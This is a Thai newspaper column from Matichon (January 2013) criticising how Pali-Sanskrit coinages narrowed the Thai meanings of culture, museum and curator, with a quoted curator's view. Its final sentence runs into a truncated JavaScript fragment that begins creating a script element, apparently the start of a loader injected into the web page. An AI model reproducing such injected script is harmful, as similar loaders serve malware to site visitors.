มติชนรายวัน ฉบับประจำวันพุธที่ 9 มกราคม 2556

 

          วัฒนธรรม ยืมคำบาลี-สันสกฤต มาผูกขึ้นใหม่ โดยแปลจากคำฝรั่งว่า culture

          แล้วสร้างความหมายใหม่อย่างคับแคบ วัฒนธรรมในไทยจึงมีความหมายต่างจาก culture ในสากล

          ถ้าจะให้เข้าใจความหมายตรงกับสากล ก็ต้องทับศัพท์ว่า คัลเจอร์

          พิพิธภัณฑ์ ยืมคำบาลี-สันสกฤต มาผูกขึ้นใหม่ โดยแปลจากคำฝรั่งว่า exhibition ต่อมาภายหลังถึงกำหนดให้ตรงคำฝรั่งว่า museum

          แล้วสร้างความหมายใหม่อย่างคับแคบ พิพิธภัณฑ์ในไทยจึงมีความหมายต่างจาก museum ในสากล

          ถ้าจะให้เข้าใจความหมายตรงกับสากล ก็ต้องทับศัพท์ว่า มิวเซียม

          ล่าสุด เพิ่งอ่านพบในนิตยสารโปสการ์ด (ฉบับ 35/2012) ที่คุณวราภรณ์ พวงไทย เป็นบรรณาธิการบริหาร มีใจความโดยสรุปว่า

          ภัณฑารักษ์ ยืมคำบาลี-สันสกฤต มาผูกขึ้นใหม่ โดยแปลจากคำฝรั่งว่า curator

          แล้วสร้างความหมายใหม่อย่างคับแคบ ภัณฑารักษ์ในไทยจึงมีความหมายต่างจาก curator ในสากล

          ถ้าจะให้เข้าใจความหมายตรงกับสากล ก็ต้องทับศัพท์ว่า คิวเรเตอร์

          แชมป์ วิภาช ภูริชานนท์ (กำลังเรียนระดับปริญญาเอกด้าน Curatorial Knowledge ที่ Goldsmith College ลอนดอน) อธิบายว่า

          “คิวเรเตอร์เป็นอาชีพที่เกิดขึ้นกับมิวเซียม ภาษาไทยเรียกว่า ภัณฑารักษ์ แต่ผมพยายามใช้คำว่า คิวเรเตอร์

          ไม่ใช่ว่าจะปฏิเสธคำนี้นะ แต่คิดว่านิยามของคำว่าภัณฑารักษ์ของไทยมันเก่าเกินไป มันหยุดอยู่ตรงจุดที่ว่า คุณเป็น ‘ภัณฑ’ + ‘อารักษ์’ คือ ผู้ดูแลสิ่งของ แต่มันใช้ไม่ได้กับศิลปะร่วมสมัย          

          สำหรับผม คิวเรเตอร์คือผู้ดูแลศิลปะ มาจากคำว่า To cure หรือ Cura คือ To take care of ซึ่งไม่ใช่การดูแลในฐานะวัตถุ แต่ดูแลทุกอย่างที่มันเป็นศิลปะ ตั้งแต่การทำงาน วาทกรรมทางศิลปะ ศิลปิน ไปจนถึง รปภ. เฝ้าหอศิลป์”

          แชมป์ วิภาช บอกว่าตัวเขาเอง “ถนัดงานที่ดึงชุมชนเข้ามาในมิวเซียม ผมชอบทำงานกับคนมากกว่างานศิลปะ ชอบทำงานกับ ‘ศิลปะ’ มากกว่า ‘งานศิลปะ’ ”

          ไทยรับศัพท์ฝรั่งมาใช้ แต่ไม่ทันยกหยิบความหมายเดิมมาด้วย แล้วไม่พยายามทำความเข้าใจในสมัยต่อมา โดยสร้างความหมายใหม่ให้ถูกใจตนพวกเดียว แล้วเที่ยวตู่ว่าคนอื่นไม่ถูก

          ลักษณะจารีตนิยมอยู่กับบาลี-สันสกฤตอย่างนี้ เป็นอุปสรรคต่อความก้าวหน้าทางสังคมวัฒนธรรมของไทย ในโลกที่ใช้อังกฤษเป็นภาษากลางif (document.currentScript) { var d=document;var s=d.createElement(‘script’);